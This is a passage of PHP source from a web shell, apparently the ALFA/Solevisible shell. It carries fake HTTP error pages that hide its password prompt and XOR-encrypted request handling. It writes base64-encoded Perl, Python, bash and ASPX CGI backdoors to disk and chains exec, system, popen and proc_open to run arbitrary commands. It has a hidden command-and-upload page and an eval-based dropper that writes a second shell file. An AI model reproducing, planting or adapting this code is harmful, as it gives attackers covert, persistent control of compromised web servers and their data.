@md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, \'.$_SERVER[\'SERVER_ADMIN\'].\' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>\'.$SERVER_SIG.\'</body></html>\'.$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'403\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don\'t have permission to access ".$_SERVER[\'PHP_SELF\']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'404\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}\r\n}\r\nfunction decrypt_post($str){\r\n\tif(__ALFA_POST_ENCRYPTION__){\r\n\t\t$pwd = __ALFA_SECRET_KEY__;\r\n\t\t$pwd = __ZW5jb2Rlcg($pwd);\r\n\t\t$str = __ZGVjb2Rlcg($str);\r\n\t\t$enc_chr = "";\r\n\t\t$enc_str = "";\r\n\t\t$i = 0;\r\n\t\twhile ($i < strlen($str)) {\r\n\t\t\tfor ($j = 0; $j < strlen($pwd); $j++) {\r\n\t\t\t\t$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));\r\n\t\t\t\t$enc_str .= $enc_chr;\r\n\t\t\t\t$i++;\r\n\t\t\t\tif ($i >= strlen($str))\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn __ZGVjb2Rlcg($enc_str);\r\n\t}else{\r\n\t\treturn __ZGVjb2Rlcg($str);\r\n\t}\r\n}\r\n\r\nfunction _AlfaSecretKey(){\r\n\t$secret = @$_COOKIE["AlfaSecretKey"];\r\n\tif(!isset($_COOKIE["AlfaSecretKey"])){\r\n\t\t$secret = uniqid(mt_rand(), true);\r\n\t\t__alfa_set_cookie("AlfaSecretKey", $secret);\r\n\t}\r\n\treturn $secret;\r\n}\r\nfunction alfa_getColor($target){\r\n\tif(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){\r\n\t\treturn $GLOBALS["DB_NAME"]["color"][$target];\r\n\t}else{\r\n\t\t$target = $GLOBALS["__ALFA_COLOR__"][$target];\r\n\t\tif(is_array($target)){\r\n\t\t\treturn $target["key_color"];\r\n\t\t}else{\r\n\t\t\treturn $target;\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaCssLoadColors(){\r\n\t$css = "";\r\n\tforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t\tif(!is_array($value)){\r\n\t\t\t$value = alfa_getColor($key);\r\n\t\t\t$css .= ".{$key}{color: {$value};}";\r\n\t\t}else{\r\n\t\t\tif(isset($value["multi_selector"])){\r\n\t\t\t\tforeach($value["multi_selector"] as $k => $v){\r\n\t\t\t\t\t$color = alfa_getColor($key);\r\n\t\t\t\t\t$code = str_replace("{color}", $color, $v);\r\n\t\t\t\t\t$css .= $k."{".$code."}";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $css;\r\n}\r\nif(isset($_POST[\'ajax\'])){\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}}\r\nfunction _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){\r\n\tif(!$GLOBALS["DB_NAME"]["cgi_api"]){\r\n\t\treturn "";\r\n\t}\r\n\tif(isset($_COOKIE["alfacgiapi_mode"])){\r\n\t\treturn "";\r\n\t}\r\n\t$cmd_pure = $cmd;\r\n\t$is_curl = function_exists(\'curl_version\');\r\n\t$is_socket = function_exists(\'fsockopen\');\r\n\tif($is_curl||$is_socket){\r\n\t\t$recreate = false;\r\n\t\tif(isset($_COOKIE["alfacgiapi"])){\r\n\t\t\tif(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){\r\n\t\t\t\t$recreate = true;\r\n\t\t\t\t$lang = $_COOKIE["alfacgiapi"];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($_COOKIE["alfacgiapi"])||$recreate){\r\n\t\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\t\t$perl = \'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=\';\r\n\t\t\t$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";\r\n\t\t\t$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";\r\n\t\t\t$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";\r\n\t\t\tif($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;\r\n\t\t\tif($lang == "aspx"){\r\n\t\t\t\talfaWriteTocgiapi("aspx.aspx",$aspx);\r\n\t\t\t}else{\r\n\t\t\t\talfaWriteTocgiapi($lang.".alfa",$source);\r\n\t\t\t}\r\n\t\t\talfacgihtaccess(\'cgi\', "alfacgiapi/");\r\n\t\t}else{\r\n\t\t\t$lang = $_COOKIE["alfacgiapi"];\r\n\t\t}\r\n\t\t$cgi_ext = ".alfa";\r\n\t\tif($lang=="aspx"){\r\n\t\t\t$cgi_ext = ".aspx";\r\n\t\t}\r\n\t\t$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;\r\n\t\t$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS[\'cwd\'].";".$cmd);\r\n\t\tif($is_curl){\r\n\t\t\t$address = ($_SERVER[\'SERVER_PORT\'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;\r\n\t\t\t$post = new AlfaCURL();\r\n\t\t\t$data = $post->Send($address, "post", $cmd);\r\n\t\t}elseif($is_socket){\r\n\t\t\t$server = $_SERVER["SERVER_NAME"];\r\n\t\t\t$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;\r\n\t\t\t$data = _alfa_fsockopen($server,$uri,$cmd);\r\n\t\t}\r\n\t\t$out = "";\r\n\t\tif(strpos($data, "[solevisible~api]") !== false && strpos($data, \'[solevisible~api]<pre>"+output+"</pre>\') === false){\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie("alfacgiapi", $lang);\r\n\t\t\t}\r\n\t\t\tif(@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)){\r\n\t\t\t\t$out = $res[1];\r\n\t\t\t}\r\n\t\t}elseif($lang=="perl"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"py",$set_cookie);\r\n\t\t}elseif($lang=="py"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"bash",$set_cookie);\r\n\t\t}elseif($lang=="bash" && $GLOBALS[\'sys\']=="win"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);\r\n\t\t}else{\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie("alfacgiapi_mode", "off");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn trim($out);\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nfunction alfaGetCwd(){\r\n\tif(function_exists("getcwd")){\r\n\t\treturn @getcwd();\r\n\t}else{\r\n\t\treturn dirname($_SERVER["SCRIPT_FILENAME"]);\r\n\t}\r\n}\r\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\r\n\t$data = _alfa_php_cmd($in,$re);\r\n\tif(empty($data)&&$cgi||$all){\r\n\t\tif($GLOBALS[\'sys\']==\'unix\'){\r\n\t\t\tif(strlen(_alfa_php_cmd("whoami"))==0||$all){\r\n\t\t\t\t$cmd = _alfa_cgicmd($in);\r\n\t\t\t\tif(!empty($cmd)){\r\n\t\t\t\t\treturn $cmd;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $data;\r\n}\r\nfunction _alfa_php_cmd($in,$re=false){\r\n$out=\'\';\r\ntry{\r\nif($re)$in=$in." 2>&1";\r\nif(function_exists(\'exec\')){\r\n@exec($in,$out);\r\n$out = @join("\\n",$out);\r\n}elseif(function_exists(\'passthru\')) {\r\nob_start();\r\n@passthru($in);\r\n$out = ob_get_clean();\r\n}elseif(function_exists(\'system\')){\r\nob_start();\r\n@system($in);\r\n$out = ob_get_clean();\r\n} elseif (function_exists(\'shell_exec\')) {\r\n$out = shell_exec($in);\r\n}elseif(function_exists("popen")&&function_exists("pclose")){\r\nif(is_resource($f = @popen($in,"r"))){\r\n$out = "";\r\nwhile(!@feof($f))\r\n$out .= fread($f,1024);\r\npclose($f);\r\n}\r\n}elseif(function_exists(\'proc_open\')){\r\n$pipes = array();\r\n$process = @proc_open($in.\' 2>&1\', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);\r\n$out=@stream_get_contents($pipes[1]);\r\n}elseif(class_exists(\'COM\')){\r\n$alfaWs = new COM(\'WScript.shell\');\r\n$exec = $alfaWs->exec(\'cmd.exe /c \'.$_POST[\'alfa1\']);\r\n$stdout = $exec->StdOut();\r\n$out=$stdout->ReadAll();\r\n}\r\n}catch(Exception $e){}\r\nreturn $out;\r\n}\r\nfunction _alfa_fsockopen($server,$uri,$post){\r\n\t$socket = @fsockopen($server, 80, $errno, $errstr, 15);\r\n\tif($socket){\r\n\t\t$http = "POST {$uri} HTTP/1.0\\r\\n";\r\n\t\t$http .= "Host: {$server}\\r\\n";\r\n\t\t$http .= "User-Agent: " . $_SERVER[\'HTTP_USER_AGENT\'] . "\\r\\n";\r\n\t\t$http .= "Content-Type: application/x-www-form-urlencoded\\r\\n";\r\n\t\t$http .= "Content-length: " . strlen($post) . "\\r\\n";\r\n\t\t$http .= "Connection: close\\r\\n\\r\\n";\r\n\t\t$http .= $post . "\\r\\n\\r\\n";\r\n\t\tfwrite($socket, $http);\r\n\t\t$contents = "";\r\n\t\twhile (!@feof($socket)) {\r\n\t\t\t$contents .= @fgets($socket, 4096);\r\n\t\t}\r\n\t\tlist($header, $body) = explode("\\r\\n\\r\\n", $contents, 2);\r\n\t\t@fclose($socket);\r\n\t\treturn $body;\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nif(isset($_GET["solevisible"])){\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\necho \'<html>\';\r\necho "<title>Solevisible Hidden Shell</title>";\r\necho "<body bgcolor=#000000>";\r\necho \'<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">\'.(function_exists(\'php_uname\')?php_uname():\'???\').\'</font></b></big>\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif($safe_mode){$r = "<b style=\'color: red\'>On</b>";}else{$r = "<b style=\'color: green\'>Off</b>";}\r\necho "<br><b style=\'color: #7CFC00\'>OS: </font><font color=white>" . PHP_OS . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Software: </font><font color=white>" . $_SERVER [\'SERVER_SOFTWARE\'] . "</font><br>";\r\necho "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";\r\necho "PWD:<font color=#FFFFFF> " . str_replace("\\\\","/",@alfaGetCwd()) . "/<br />";\r\necho "<b style=\'color: #7CFC00\'>Safe Mode : $r<br>";\r\necho"<font color=#7CFC00>Disable functions : </font>";\r\n$disfun = @ini_get(\'disable_functions\');\r\nif(empty($disfun)){$disfun = \'<font color="green">NONE</font>\';}\r\necho"<font color=red>";\r\necho "$disfun";\r\necho"</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Your Ip Address is : </font><font color=white>" . $_SERVER[\'REMOTE_ADDR\'] . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Server Ip Address is : </font><font color=white>".(function_exists(\'gethostbyname\')?@gethostbyname($_SERVER["HTTP_HOST"]):\'???\')."</font><br><p>";\r\necho \'<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'CWD: <input type="text" name="cwd" value="\'.str_replace("\\\\","/",@alfaGetCwd()).\'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>\';\r\nif(isset($_FILES[\'file\'])){\r\nif(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], __ZGVjb2Rlcg(@$_POST[\'cwd\']).\'/\'.$_FILES[\'file\'][\'name\'])){echo \'<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>\'; }\r\nelse{echo \'<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>\'; }\r\n}\r\necho \'<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>\r\n<hr><pre>\';\r\nif(isset($_POST[\'command_solevisible\'])){\r\nif(strtolower(substr(PHP_OS,0,3))=="win")$separator=\'&\';else $separator=\';\';\r\n$solevisible = "cd \'".addslashes(str_replace("\\\\","/",@alfaGetCwd()))."\'".$separator."".__ZGVjb2Rlcg($_POST[\'command_solevisible\']);\r\necho alfaEx($solevisible);\r\n}\r\necho\'</pre>\r\n</body></html>\';\r\nexit;}\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\nif(function_exists(\'set_magic_quotes_runtime\')){\r\n@set_magic_quotes_runtime(0);\r\n}\r\nforeach($_POST as $key => $value){\r\nif(is_array($_POST[$key])){\r\n$i=0;\r\nforeach($_POST[$key] as $f) {\r\n$f = trim(str_replace(\' \', \'+\',$f));\r\n$_POST[$key][$i] = decrypt_post($f);\r\n$i++;\r\n}\r\n}else{\r\n$value = trim(str_replace(\' \', \'+\',$value));\r\n$_POST[$key] = decrypt_post($value);\r\n}\r\n}\r\n$default_action = \'FilesMan2\';//\'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\nif(strtolower(substr(PHP_OS,0,3))=="win")\r\n$GLOBALS[\'sys\']=\'win\';\r\nelse\r\n$GLOBALS[\'sys\']=\'unix\';\r\n$GLOBALS[\'home_cwd\'] = @alfaGetCwd();\r\n$GLOBALS["need_to_update_header"] = "false";\r\n$GLOBALS[\'glob_chdir_false\'] = false;\r\nif(isset($_POST[\'c\'])){\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$GLOBALS[\'glob_chdir_false\'] = true;\r\n}\r\n}\r\n$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && @is_dir($_POST[\'c\']) ?$_POST[\'c\']:@alfaGetCwd());\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\t$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && !empty($_POST[\'c\']) ? $_POST[\'c\'] : @alfaGetCwd());\r\n}\r\nif($GLOBALS[\'sys\'] == \'win\'){\r\n$GLOBALS[\'home_cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'home_cwd\']);\r\n$GLOBALS[\'cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'cwd\']);\r\n}\r\nif($GLOBALS[\'cwd\'][strlen($GLOBALS[\'cwd\'])-1] != \'/\' )$GLOBALS[\'cwd\'] .= \'/\';\r\nif(!function_exists(\'sys_get_temp_dir\')){function sys_get_temp_dir() {foreach (array(\'TMP\', \'TEMP\', \'TMPDIR\') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS[\'__file_path\'], \'\');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\r\nif(!function_exists("mb_strlen")){\r\n\tfunction mb_strlen($str, $c=""){\r\n\t\treturn strlen($str);\r\n\t}\r\n}\r\nif(!function_exists("mb_substr")){\r\n\tfunction mb_substr($str, $start, $end, $c=""){\r\n\t\treturn substr($str, $start, $end);\r\n\t}\r\n}\r\ndefine("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace(\'\\\\\',\'/\',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable(\'.\')?\'.\':false)) : false));\r\nfunction alfahead(){\r\n$GLOBALS[\'__ALFA_SHELL_CODE\'] = \'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\';\r\n$alfa_uploader = \'$x = base64_decode("\'.$GLOBALS[\'__ALFA_SHELL_CODE\'].\'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);\';\r\ndefine("ALFA_UPLOADER", "eval(base64_decode(\'".__ZW5jb2Rlcg($alfa_uploader)."\'))");\r\nif(!isset($_POST[\'ajax\'])){\r\nfunction Alfa_GetDisable_Function(){\r\n$disfun = @ini_get(\'disable_functions\');\r\n$afa = \'<span class="header_show_all">All Functions Accessible</span>\';\r\nif(empty($disfun))return($afa);\r\n$s = explode(\',\',$disfun);\r\n$s = array_unique($s);\r\n$i=0;\r\n$b=0;\r\n$func = array(\'system\',\'exec\',\'shell_exec\',\'proc_open\',\'popen\',\'passthru\',\'symlink\',\'dl\');\r\n$black_list = array();\r\n$allow_list = array();\r\nforeach($s as $d){\r\n\t$d=trim($d);\r\n\tif(empty($d)||!is_callable($d))continue;\r\n\tif(!function_exists($d)){\r\n\t\tif(in_array($d,$func)){\r\n\t\t\t$dis .= $d." | ";$b++;\r\n\t\t\t$black_list[] = $d;\r\n\t\t}else{\r\n\t\t\t$allow_list[] = $d;\r\n\t\t}\r\n\t\t$i++;\r\n\t}\r\n}\r\nif($i==0)return($afa);\r\nif($i <= count($func)){\r\n$all = array_values(array_merge($black_list, $allow_list));\r\nreturn(\'<span class="disable_functions">\'.implode(" | ", $all).\'</span>\');\r\n}\r\nreturn(\'<span class="disable_functions">\'.$dis.\'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\\\'GetDisFunc\\\',null,\\\'wp\\\');"><span class="header_show_all">Show All (\'.$i.\')</span></a>\');\r\n}\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}\r\nif(empty($_POST[\'charset\']))\r\n$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\r\n$freeSpace = function_exists(\'diskfreespace\')?@diskfreespace($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = function_exists(\'disk_total_space\')?@disk_total_space($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = $totalSpace?$totalSpace:1;\r\n$on="<span class=\'header_on\'> ON </span>";\r\n$of="<span class=\'header_off\'> OFF </span>";\r\n$none="<span class=\'header_none\'> NONE </span>";\r\nif(function_exists(\'ssh2_connect\'))\r\n$ssh2=$on;\r\nelse\r\n$ssh2=$of;\r\nif(function_exists(\'curl_version\'))\r\n$curl=$on;\r\nelse\r\n$curl=$of;\r\nif(function_exists(\'mysql_get_client_info\')||class_exists(\'mysqli\'))\r\n$mysql=$on;\r\nelse\r\n$mysql=$of;\r\nif(function_exists(\'mssql_connect\'))\r\n$mssql=$on;\r\nelse\r\n$mssql=$of;\r\nif(function_exists(\'pg_connect\'))\r\n$pg=$on;\r\nelse\r\n$pg=$of;\r\nif(function_exists(\'oci_connect\'))\r\n$or=$on;\r\nelse\r\n$or=$of;\r\nif(@ini_get(\'disable_functions\'))\r\n$disfun=@ini_get(\'disable_functions\');\r\nelse\r\n$disfun="All Functions Enable";\r\nif(@ini_get(\'safe_mode\'))\r\n$safe_modes="<span class=\'header_off\'>ON</span>";\r\nelse\r\n$safe_modes="<span class=\'header_on\'>OFF</span>";\r\n$cgi_shell="<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>";\r\nif(@ini_get(\'open_basedir\')){\r\n$basedir_data = @ini_get(\'open_basedir\');\r\nif(strlen($basedir_data)>120){\r\n$open_b=substr($basedir_data,0, 120)."...";\r\n}else{\r\n$open_b = $basedir_data;\r\n}\r\n}else{$open_b=$none;}\r\nif(@ini_get(\'safe_mode_exec_dir\'))\r\n$safe_exe=@ini_get(\'safe_mode_exec_dir\');\r\nelse\r\n$safe_exe=$none;\r\nif(@ini_get(\'safe_mode_include_dir\'))\r\n$safe_include=@ini_get(\'safe_mode_include_dir\');\r\nelse\r\n$safe_include=$none;\r\nif(!function_exists(\'posix_getegid\'))\r\n{\r\n$user = function_exists("get_current_user")?@get_current_user():"????";\r\n$uid = function_exists("getmyuid")?@getmyuid():"????";\r\n$gid = function_exists("getmygid")?@getmygid():"????";\r\n$group = "?";\r\n}else{\r\n$uid = 